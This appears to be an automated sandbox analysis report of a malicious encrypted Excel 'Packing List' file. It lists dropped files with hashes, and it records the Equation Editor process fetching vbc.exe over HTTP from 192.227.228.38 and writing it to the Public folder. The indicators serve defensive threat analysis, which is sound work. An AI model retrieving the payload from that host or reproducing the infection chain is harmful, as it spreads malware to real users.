Preview:	......JFIF.............C....................................................................C.......................................................................r...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\9950728D.png Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PNG image data, 838 x 469, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	21987
Entropy (8bit):	7.952828365949915
Encrypted:	false
SSDEEP:	384:MoaqtIZxNY3dMzKeijXyso4gYhVZAUrE68p/DazS396RFnDUhkhiedxQ9:AqtIZzYNM+HjXyjOhVZW68pPWGedO9
MD5:	5A25F525D9F0D658AF52A4F78FE031D4
SHA1:	525FB63F75E745FBC90E4E42E624E030C5DF94EB
SHA-256:	D791841D657B6D2A9E5ED1B7F8548B1044A2C7EC62D05846C72D8556DB9E9BC8
SHA-512:	FE2F2D9744CE7235F4DBC36861249372C42B85920B6A1C75A8B2C330BD07F7C4C12A5DF5CA9AAED4C2BCDAD9D196DFF3A34732EE296FE6F006A16ACC41F5EEC3
Malicious:	false
Preview:	.PNG........IHDR...F................PLTE...0.....T[c..........................f..................9.....d.........k9u....b...........9....f..kr............t.......e.......9....]X........./.;9.................h..........d.<...({...........t_.....................c7..Ga.06?....._..V.....T..............9......e......ee...........f......:;.D."...h..............e...............Q....E.......l..~..t"....D.............................:....9...........T.........^..d9;....iv...09.Z...........................................................................$...ee9h.G..........................................~........................................;<.........`....................99....5..............................................................AL...R.IDATx...`..&.H......-@.n..]A... ..Fn.!`$X..&&..X@$c..dl<.#...PD....$&".1..h.N..Y3..L6.d.$.XFw..;&(a....=.:..Z].].Q....S..;.?...W%.D....1..s.!....4....`{U'.QU........~.e.*....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\C4C845BC.png Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PNG image data, 458 x 211, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	11303
Entropy (8bit):	7.909402464702408
Encrypted:	false
SSDEEP:	192:O64BSHRaEbPRI3iLtF0bLLbEXavJkkTx5QpBAenGIC1bOgjBS6UUijBswpJuaUSt:ODy31IAj0bL/EKvJkVFgFg6UUijOmJJN
MD5:	9513E5EF8DDC8B0D9C23C4DFD4AEECA2
SHA1:	E7FC283A9529AA61F612EC568F836295F943C8EC
SHA-256:	88A52F8A0BDE5931DB11729D197431148EE9223B2625D8016AEF0B1A510EFF4C
SHA-512:	81D1FE0F43FE334FFF857062BAD1DFAE213EED860D5B2DD19D1D6875ACDF3FC6AB82A43E46ECB54772D31B713F07A443C54030C4856FC4842B4C31269F61346D
Malicious:	false
Preview:	.PNG........IHDR..............P.l....sRGB.........gAMA......a.....pHYs...t...t..f.x..+.IDATx...\|.e............{......z.Y8..DiE.46.@.$$....+!.T.H/..M6..RH.l.R.!AC...>3;3;..4..~...>3.<.<..7.<3..555........c...xo.Z.X.J...Lhv.u.q..C..D......-...#n...!.W..#...x.m..&.S........cG.... s..H.=......,...(((HJJR.s..05J...2m.....=..R..Gs....G.3.z..."............(..1$..)..[..c&t..ZHv..5....3#..~8....Y...............e2...?.0.t.R}ZI..`.&.......rO..U.mK..N.8..C...[..\....G.^y.U.....N.....eff.....A....Z.b.YU....M.j.vC+\.gu..0v..5...fo.....'......^w..y....O.RSS....?.."L.+c.J....ku$._...Av...Z...*Y.0.z..zMsrT.:.<.q.....a.......O.....$2.=\|.0.0..A.v..j....h..P.Nv......,.0....z=...I@8m.h.:]..B.q.C.......6...8qB......G\.."L.o..[)..Z.XuJ.pE..Q.u.:..$[K..2.....zM=`.p.Q@.o.LA../.%....EFsk:z...9.z......>z..H,.{{{...C....n..X.b....K.:..2,...C....;.4....f1,G.....p\|f6.^._.c..'''Qll..........W.[..s..q+e.:.\|..(....aY..yX....}...n.u..8d...L...:B."zuxz..^..m;p..(&&....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\D3B5F0E7.png Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PNG image data, 550 x 360, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	15625
Entropy (8bit):	7.975433466796902
Encrypted:	false
SSDEEP:	384:3quMy4uOwJYk5DcUWbdfFZBa7Q9bvC78yPelujgXolFo:6Zk5DcU+FXhavB/lFo
MD5:	79996F390643F9E11F14334A3740FA5E
SHA1:	3A99EC9B5E2057264FFE629D3ABA182912EDB80E
SHA-256:	406EE07DA7DEB2B38B87074EA55980BFE3FEFBD57E50AE7D25502D67A711B15C
SHA-512:	BDD3DB6E24418C0F8B74D79F3B0DDFFAF96A5CD2ABE0D45AEEC5E53EA17B0AD17B239C26781FD5BE34CAC3582F24773BF3FEF0616F6BE024117C1A2DB9A3F0B2
Malicious:	false
Preview:	.PNG........IHDR...&...h.....T......bPLTE..."...P........{......P]............Fx....]..i..bb...,...........K.....................}..........=.....3.....srs...k.....QPR.~.........es.??@...keb"u.]\]x..1h......td..{.....*,...A..odz.....Q..qAXf............>............u...hXr.y......MTx......R..l..........................K8V%[......=.9nwQT..9.........._=..>.y.^LA.(...R.....;bIDATx..X.o.@.....G..E...6,F.M..T...UZ,!Y!...fIH(........h.?.k..x...%....P...D!...L..2).....G..c.d.+......&:.+........OQ..._..T......%>......e%4.fR......t.3..w..$Xp.6........L..=.vu.X..6.......W.G.4..Y.c....2c....\|i....#...~_.Z.66}....l.\...... .L\|..zk.G.."..)8. .&&....SN(.7...W...m_ J...<<..$..k.B.F...Q....hs.2!I.s..T...7e4D....E...c.bDl!...C.....t#...*p7.U.#t...32......uy;.....j'.j.#.G.C.. Z...(V.j.#\|..b...o.....R=....t.0Wf.r..?..c..R..9.........i.j.y[...A.c.F.uO.M.j...&.q..9T..k.-.+.<.zZ.<...6..rT..W..]..St._....h5^..2.3F.....r~+.8z.......+..[<..._.8...8v....`.o

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\D937B123.png Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PNG image data, 1295 x 471, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	68702
Entropy (8bit):	7.960564589117156
Encrypted:	false
SSDEEP:	1536:Hu2p9Cy+445sz12HnOFIr0Z7gK8mhVgSKe/6mLsw:O2p9w1HCIOTKEhQw
MD5:	9B8C6AB5CD2CC1A2622CC4BB10D745C0
SHA1:	E3C68E3F16AE0A3544720238440EDCE12DFC900E
SHA-256:	AA5A55A415946466C1D1468A6349169D03A0C157A228B4A6C1C85BFD95506FE0
SHA-512:	407F29E5F0C2F993051E4B0C81BF76899C2708A97B6DF4E84246D6A2034B6AFE40B696853742B7E38B7BBE7815FCCCC396A3764EE8B1E6CFB2F2EF399E8FC715
Malicious:	false
Preview:	.PNG........IHDR.....................pHYs..........+......tIME......&...T....tEXtAuthor....H....tEXtDescription...!#....tEXtCopyright....:....tEXtCreation time.5.......tEXtSoftware.]p.:....tEXtDisclaimer.........tEXtWarning........tEXtSource.........tEXtComment........tEXtTitle....'.. .IDATx...y\|T.?..l..3. .$.D..(v....Q.q.....W.[...Z..-.Hlmm...4V..BU..V@,h.t.....}...cr.3.......B3s.....\|.}.G6j.t.Qv..-Q9...r\"""""""".H9...Y...v...........7........Q..^t{P..C..""""""""".e..n@7B.{Q.S.HDDDDDDDD...........\bxHDDDDDDDDD.1<$""""""""......d2Y@9`@c.v..8P...0`..a\|.....<... ..+...[""""""""".....~..,........+.t..._..o.....8z.$ ..U.Mp".....Z8.a;.B..'...y..I^......e........,}.+.M..K...M...A.7.Z[[.E.....B...nF.:5.."""""""".(.....d.3*..E.=...[o...o.....n..._.{..-..M.3....px(.5..4lt..&....d.R!.......!.$''.n.....X,..__ar.d..0 .M#"""""""..S...T...Ai.8P^XX(..d.....u[.f...8........[`...q..9R../.....v.b.5.r`.[.A..a.....a6......S.o.h7...........g..v..+.~.oB.H..\|..8...

C:\Users\user\AppData\Local\Temp\dobvw7pi71yxrkawv Download File
Process:	C:\Users\Public\vbc.exe
File Type:	data
Category:	dropped
Size (bytes):	208895
Entropy (8bit):	7.98543476844833
Encrypted:	false
SSDEEP:	3072:v4b9C1Ilb0lpljlxjlllllllllllllllpElEa8ObNxMizWQc7ibsalh2yyXDUwC7:+kjZObEVQNZlh2VoD6ghTFrj5eM
MD5:	C18BE7539F4915669E9EA3DAA057DDCF
SHA1:	DF46D7153A977EF06D55F6BF79E9641CC166734E
SHA-256:	6B780DFC77A0F9894AEBF1322FB264C1B1E58E5A006543C7493CB7879B8F2231
SHA-512:	92E4E7A8B890418B829F1A4DD643980A21EC7755CC8A7DD5E96593FE43870288616AE3E5CB1F12B16C18824C09BA7F1E9D577A0247163BD05975D782F6E6B460
Malicious:	false
Preview:	$T......u.B.L..{A.x..<.+............f..i......!...~.....l.N.. ..sZ....T.C..r..@z..7..z..uQ..+..7;....1..wP.R..........r..<2.......M.._.;..hn,k.........m.g....p.........y...R.Lk..c...}~.%.:J.Sk..$.8..b..6{.DvQC.3X8....z.F.a....b.@v.".BwF.`..M.l.......cJ..{.x..<)..Jf.m......f....H...C!...~.....l....Z....... e..... ..c^.m..zs.0.&.C......2.b.9..^.bT..........r..<).....t.MM._.;..hn,k...........g....p.........y...R.Lk..]..^}~.%.:J.Sk..$.8..b..6{.DvQC.3X8....z.F.a....b.@v.".. .B`....l..q....f.J^.{.x..<.+j.N.n....}.B..f.qe..G...>!...~....Ml....Z..3... e....t . c^.m..E..0.&zC.<....[.b.9.IV..NV..u....,..r.<2.......M.._.;.Zhn../....A...m.e....p.R.......y...R.Lkl.t~...~.<.:J...7.8..b..6{.DvQC.3X8L...\uL.~...UY.@v.(.B.F.`..m.l.......f.......4..<.+j.N......g....f..i......!.......Ml....Z..).&... ....>t .bc^.m...s...&zC.<....[.b.9..^.b+..........r..<2.......M.._.;..hn,k.........m.g....p.........y...R.Lk..c...}~.%.:J.Sk..$.8..b..6{.DvQC.3X8....

C:\Users\user\AppData\Local\Temp\nsn3BBA.tmp\oxtrp.dll Download File
Process:	C:\Users\Public\vbc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	20992
Entropy (8bit):	6.645655834323537
Encrypted:	false
SSDEEP:	384:nTkovDTYAYG93/Z+OPtBRDslWhbWh8hDzMWVYi68catJsIf:nTbvDTgG931PhlpWqHMirtJs
MD5:	C2C405109B51233DEF2B5BF15FFD2308
SHA1:	14DEBD98B26EDBA7788AAFCAA41F1D32E8FE1CBC
SHA-256:	7E16ED39BA05C887E6D1B470B6CC8DE06FD67ED81FB2DA85F645CFBC643CA154
SHA-512:	1C209D4110DC5295D5BA951CF5A22D62AB1BF65D9B5BF66F4C6A2E8E2F2CFD339F06CDDF6B956D5F9A567EC8206D607753833CE94E14149D5BBC1B596C91B80B
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......xH..<)j.<)j.<)j...=)j..6n.>)j.5d.=)j..6`.8)j.(Bk./)j.<)k.x)j.wn.=)j.wj.=)j.w..=)j.wh.=)j.Rich<)j.........PE..L.....xa...........!.....$...*...............@............................................@..........................A..H...4C.......p..............................pA...............................................@..0............................text....#.......$.................. ..`.rdata.......@.......(..............@..@.data...$....P.......2..............@....rsrc........p.......L..............@..@.reloc...............N..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF3DF424E48F9DA5FE.TMP Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF60529B904FCF6857.TMP Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF63AE2933B69E3EF1.TMP Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	CDFV2 Encrypted
Category:	dropped
Size (bytes):	451944
Entropy (8bit):	7.98024010518001
Encrypted:	false
SSDEEP:	12288:brdtzdj7T2ZxWRnxyAu27GV72NVVM8wGu2nni:nPzdj7TAWR9u27GkvwZ2ni
MD5:	74C72F37E68BC3A8071467DD12BFAA7F
SHA1:	5DD9599FDE86870F52169A85CFB76020F504E43C
SHA-256:	DE736EAF65C73F1AEF5B09AA639D82E44129AC1300FD5411CAB342E9E33FAF7C
SHA-512:	57E17452A213D2FBFE4C84B80360853068C0EA2A7FD1293B1F05A44B4370BD8E90A565C0D31515AF3183A59A259D6E679DD436D1D17632ABF6E195DA9C3A27BB
Malicious:	false
Preview:	......................>................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................... ...!..."...#...$...%...&...'...(...)...*...+...,...-......./...0...1...2...3...4...5...6...7...8...9...:...;...<...=...>...?...@...A...B...C...D...E...F...G...H...I...J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t...u...v...w...x...y...z...

C:\Users\user\AppData\Local\Temp\~DFB3F4E2B4E1F422B3.TMP Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\~$Packing List.xlsx Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	165
Entropy (8bit):	1.4377382811115937
Encrypted:	false
SSDEEP:	3:vZ/FFDJw2fV:vBFFGS
MD5:	797869BB881CFBCDAC2064F92B26E46F
SHA1:	61C1B8FBF505956A77E9A79CE74EF5E281B01F4B
SHA-256:	D4E4008DD7DFB936F22D9EF3CC569C6F88804715EAB8101045BA1CD0B081F185
SHA-512:	1B8350E1500F969107754045EB84EA9F72B53498B1DC05911D6C7E771316C632EA750FBCE8AD3A82D664E3C65CC5251D0E4A21F750911AE5DC2FC3653E49F58D
Malicious:	true
Preview:	.user ..A.l.b.u.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C:\Users\Public\vbc.exe Download File
Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category:	dropped
Size (bytes):	235529
Entropy (8bit):	7.915461873573666
Encrypted:	false
SSDEEP:	6144:wBlL/c2HMSZ54elOp0S4jfEpGibIsdpwBQ:Ce2HMSZWeO0S4Mh0gS6
MD5:	DF330AB2A2E5AA4AC947315EE3F93992
SHA1:	76B5D1EEE342B47FE58E2136A067712CBD210351
SHA-256:	99A897C5B8F53E1D04E51107C748A4F385B754A852CA6B605559F5B50820A64F
SHA-512:	E65F573D68E8F198024028D553210095173D1551E6074B60D9543977116A0286F75641F4692049A49E6CD03729B001027136419D6CF0C71645E800D5522ED895
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........0(..QF..QF..QF.^...QF..QG.qQF.^...QF.rv..QF..W@..QF.Rich.QF.........PE..L...e:.V.................\...........0.......p....@..........................................................................t.......................................................................................p..\|............................text....Z.......\.................. ..`.rdata.......p.......`..............@..@.data...8............r..............@....ndata.......P...........................rsrc................x..............@..@................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General
File type:	CDFV2 Encrypted
Entropy (8bit):	7.98024010518001
TrID:	Generic OLE2 / Multistream Compound File (8008/1) 100.00%
File name:	Packing List.xlsx
File size:	451944
MD5:	74c72f37e68bc3a8071467dd12bfaa7f
SHA1:	5dd9599fde86870f52169a85cfb76020f504e43c
SHA256:	de736eaf65c73f1aef5b09aa639d82e44129ac1300fd5411cab342e9e33faf7c
SHA512:	57e17452a213d2fbfe4c84b80360853068c0ea2a7fd1293b1f05a44b4370bd8e90a565c0d31515af3183a59a259d6e679dd436d1d17632abf6e195da9c3a27bb
SSDEEP:	12288:brdtzdj7T2ZxWRnxyAu27GV72NVVM8wGu2nni:nPzdj7TAWR9u27GkvwZ2ni
File Content Preview:	........................>......................................................................................................................................................................................................................................

File Icon


Icon Hash:	e4e2aa8aa4b4bcb4

Network Behavior

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 27, 2021 16:33:29.706020117 CEST	49167	80	192.168.2.22	192.227.228.38
Oct 27, 2021 16:33:29.819412947 CEST	80	49167	192.227.228.38	192.168.2.22
Oct 27, 2021 16:33:29.819586992 CEST	49167	80	192.168.2.22	192.227.228.38
Oct 27, 2021 16:33:29.820317984 CEST	49167	80	192.168.2.22	192.227.228.38
Oct 27, 2021 16:33:29.934331894 CEST	80	49167	192.227.228.38	192.168.2.22
Oct 27, 2021 16:33:29.934392929 CEST	80	49167	192.227.228.38	192.168.2.22
Oct 27, 2021 16:33:29.934432030 CEST	80	49167	192.227.228.38	192.168.2.22
Oct 27, 2021 16:33:29.934470892 CEST	80	49167	192.227.228.38	192.168.2.22
Oct 27, 2021 16:33:29.934607029 CEST	49167	80	192.168.2.22	192.227.228.38
Oct 27, 2021 16:33:29.934632063 CEST	49167	80	192.168.2.22	192.227.228.38
Oct 27, 2021 16:33:30.048571110 CEST	80	49167	192.227.228.38	192.168.2.22
Oct 27, 2021 16:33:30.048635006 CEST	49167	80	192.168.2.22	192.227.228.38
Oct 27, 2021 16:33:30.048814058 CEST	80	49167	192.227.228.38	192.168.2.22
Oct 27, 2021 16:33:30.048844099 CEST	80	49167	192.227.228.38	192.168.2.22
Oct 27, 2021 16:33:30.048872948 CEST	49167	80	192.168.2.22	192.227.228.38
Oct 27, 2021 16:33:30.048896074 CEST	80	49167	192.227.228.38	192.168.2.22
Oct 27, 2021 16:33:30.048923016 CEST	80	49167	192.227.228.38	192.168.2.22
Oct 27, 2021 16:33:30.048927069 CEST	49167	80	192.168.2.22	192.227.228.38
Oct 27, 2021 16:33:30.048933029 CEST	49167	80	192.168.2.22	192.227.228.38
Oct 27, 2021 16:33:30.048949957 CEST	80	49167	192.227.228.38	192.168.2.22
Oct 27, 2021 16:33:30.048964977 CEST	49167	80	192.168.2.22	192.227.228.38
Oct 27, 2021 16:33:30.048979044 CEST	80	49167	192.227.228.38	192.168.2.22
Oct 27, 2021 16:33:30.048990011 CEST	49167	80	192.168.2.22	192.227.228.38
Oct 27, 2021 16:33:30.049005985 CEST	80	49167	192.227.228.38	192.168.2.22
Oct 27, 2021 16:33:30.049014091 CEST	49167	80	192.168.2.22	192.227.228.38
Oct 27, 2021 16:33:30.049082994 CEST	49167	80	192.168.2.22	192.227.228.38
Oct 27, 2021 16:33:30.162086964 CEST	80	49167	192.227.228.38	192.168.2.22
Oct 27, 2021 16:33:30.162128925 CEST	80	49167	192.227.228.38	192.168.2.22
Oct 27, 2021 16:33:30.162151098 CEST	80	49167	192.227.228.38	192.168.2.22
Oct 27, 2021 16:33:30.162168980 CEST	80	49167	192.227.228.38	192.168.2.22
Oct 27, 2021 16:33:30.162185907 CEST	80	49167	192.227.228.38	192.168.2.22
Oct 27, 2021 16:33:30.162206888 CEST	80	49167	192.227.228.38	192.168.2.22
Oct 27, 2021 16:33:30.162230968 CEST	80	49167	192.227.228.38	192.168.2.22
Oct 27, 2021 16:33:30.162256956 CEST	80	49167	192.227.228.38	192.168.2.22
Oct 27, 2021 16:33:30.162280083 CEST	80	49167	192.227.228.38	192.168.2.22
Oct 27, 2021 16:33:30.162305117 CEST	80	49167	192.227.228.38	192.168.2.22
Oct 27, 2021 16:33:30.162311077 CEST	49167	80	192.168.2.22	192.227.228.38
Oct 27, 2021 16:33:30.162328959 CEST	80	49167	192.227.228.38	192.168.2.22
Oct 27, 2021 16:33:30.162343979 CEST	49167	80	192.168.2.22	192.227.228.38
Oct 27, 2021 16:33:30.162353992 CEST	80	49167	192.227.228.38	192.168.2.22
Oct 27, 2021 16:33:30.162368059 CEST	49167	80	192.168.2.22	192.227.228.38
Oct 27, 2021 16:33:30.162375927 CEST	80	49167	192.227.228.38	192.168.2.22
Oct 27, 2021 16:33:30.162390947 CEST	80	49167	192.227.228.38	192.168.2.22
Oct 27, 2021 16:33:30.162401915 CEST	49167	80	192.168.2.22	192.227.228.38
Oct 27, 2021 16:33:30.162409067 CEST	80	49167	192.227.228.38	192.168.2.22
Oct 27, 2021 16:33:30.162425995 CEST	80	49167	192.227.228.38	192.168.2.22
Oct 27, 2021 16:33:30.162434101 CEST	49167	80	192.168.2.22	192.227.228.38
Oct 27, 2021 16:33:30.162465096 CEST	49167	80	192.168.2.22	192.227.228.38
Oct 27, 2021 16:33:30.165993929 CEST	49167	80	192.168.2.22	192.227.228.38
Oct 27, 2021 16:33:30.275465965 CEST	80	49167	192.227.228.38	192.168.2.22
Oct 27, 2021 16:33:30.275494099 CEST	80	49167	192.227.228.38	192.168.2.22
Oct 27, 2021 16:33:30.275515079 CEST	80	49167	192.227.228.38	192.168.2.22
Oct 27, 2021 16:33:30.275537014 CEST	80	49167	192.227.228.38	192.168.2.22
Oct 27, 2021 16:33:30.275557995 CEST	80	49167	192.227.228.38	192.168.2.22
Oct 27, 2021 16:33:30.275578976 CEST	80	49167	192.227.228.38	192.168.2.22
Oct 27, 2021 16:33:30.275619030 CEST	80	49167	192.227.228.38	192.168.2.22
Oct 27, 2021 16:33:30.275639057 CEST	80	49167	192.227.228.38	192.168.2.22
Oct 27, 2021 16:33:30.275660038 CEST	80	49167	192.227.228.38	192.168.2.22
Oct 27, 2021 16:33:30.275681019 CEST	80	49167	192.227.228.38	192.168.2.22
Oct 27, 2021 16:33:30.275701046 CEST	80	49167	192.227.228.38	192.168.2.22
Oct 27, 2021 16:33:30.275722980 CEST	80	49167	192.227.228.38	192.168.2.22
Oct 27, 2021 16:33:30.275743008 CEST	80	49167	192.227.228.38	192.168.2.22
Oct 27, 2021 16:33:30.275763035 CEST	80	49167	192.227.228.38	192.168.2.22
Oct 27, 2021 16:33:30.275768995 CEST	49167	80	192.168.2.22	192.227.228.38
Oct 27, 2021 16:33:30.275784969 CEST	80	49167	192.227.228.38	192.168.2.22
Oct 27, 2021 16:33:30.275805950 CEST	49167	80	192.168.2.22	192.227.228.38
Oct 27, 2021 16:33:30.275826931 CEST	80	49167	192.227.228.38	192.168.2.22
Oct 27, 2021 16:33:30.275842905 CEST	49167	80	192.168.2.22	192.227.228.38
Oct 27, 2021 16:33:30.275849104 CEST	80	49167	192.227.228.38	192.168.2.22
Oct 27, 2021 16:33:30.275871038 CEST	80	49167	192.227.228.38	192.168.2.22
Oct 27, 2021 16:33:30.275875092 CEST	49167	80	192.168.2.22	192.227.228.38
Oct 27, 2021 16:33:30.275891066 CEST	80	49167	192.227.228.38	192.168.2.22
Oct 27, 2021 16:33:30.275908947 CEST	49167	80	192.168.2.22	192.227.228.38
Oct 27, 2021 16:33:30.275913000 CEST	80	49167	192.227.228.38	192.168.2.22
Oct 27, 2021 16:33:30.275933981 CEST	80	49167	192.227.228.38	192.168.2.22
Oct 27, 2021 16:33:30.275940895 CEST	49167	80	192.168.2.22	192.227.228.38
Oct 27, 2021 16:33:30.275955915 CEST	80	49167	192.227.228.38	192.168.2.22
Oct 27, 2021 16:33:30.275976896 CEST	80	49167	192.227.228.38	192.168.2.22
Oct 27, 2021 16:33:30.275985003 CEST	49167	80	192.168.2.22	192.227.228.38
Oct 27, 2021 16:33:30.275998116 CEST	80	49167	192.227.228.38	192.168.2.22
Oct 27, 2021 16:33:30.276010990 CEST	49167	80	192.168.2.22	192.227.228.38
Oct 27, 2021 16:33:30.276019096 CEST	80	49167	192.227.228.38	192.168.2.22
Oct 27, 2021 16:33:30.276038885 CEST	80	49167	192.227.228.38	192.168.2.22
Oct 27, 2021 16:33:30.276041985 CEST	49167	80	192.168.2.22	192.227.228.38
Oct 27, 2021 16:33:30.276060104 CEST	80	49167	192.227.228.38	192.168.2.22
Oct 27, 2021 16:33:30.276070118 CEST	49167	80	192.168.2.22	192.227.228.38
Oct 27, 2021 16:33:30.276081085 CEST	80	49167	192.227.228.38	192.168.2.22
Oct 27, 2021 16:33:30.276101112 CEST	80	49167	192.227.228.38	192.168.2.22
Oct 27, 2021 16:33:30.276104927 CEST	49167	80	192.168.2.22	192.227.228.38
Oct 27, 2021 16:33:30.276120901 CEST	80	49167	192.227.228.38	192.168.2.22
Oct 27, 2021 16:33:30.276135921 CEST	49167	80	192.168.2.22	192.227.228.38
Oct 27, 2021 16:33:30.276143074 CEST	80	49167	192.227.228.38	192.168.2.22
Oct 27, 2021 16:33:30.276166916 CEST	49167	80	192.168.2.22	192.227.228.38
Oct 27, 2021 16:33:30.276194096 CEST	49167	80	192.168.2.22	192.227.228.38
Oct 27, 2021 16:33:30.278616905 CEST	49167	80	192.168.2.22	192.227.228.38
Oct 27, 2021 16:33:30.389725924 CEST	80	49167	192.227.228.38	192.168.2.22
Oct 27, 2021 16:33:30.389767885 CEST	80	49167	192.227.228.38	192.168.2.22
Oct 27, 2021 16:33:30.389791012 CEST	80	49167	192.227.228.38	192.168.2.22
Oct 27, 2021 16:33:30.389812946 CEST	80	49167	192.227.228.38	192.168.2.22
Oct 27, 2021 16:33:30.389834881 CEST	80	49167	192.227.228.38	192.168.2.22

HTTP Request Dependency Graph

192.227.228.38

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.22	49167	192.227.228.38	80	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Timestamp	kBytes transferred	Direction	Data
Oct 27, 2021 16:33:29.820317984 CEST	0	OUT	GET /0078/vbc.exe HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 192.227.228.38 Connection: Keep-Alive
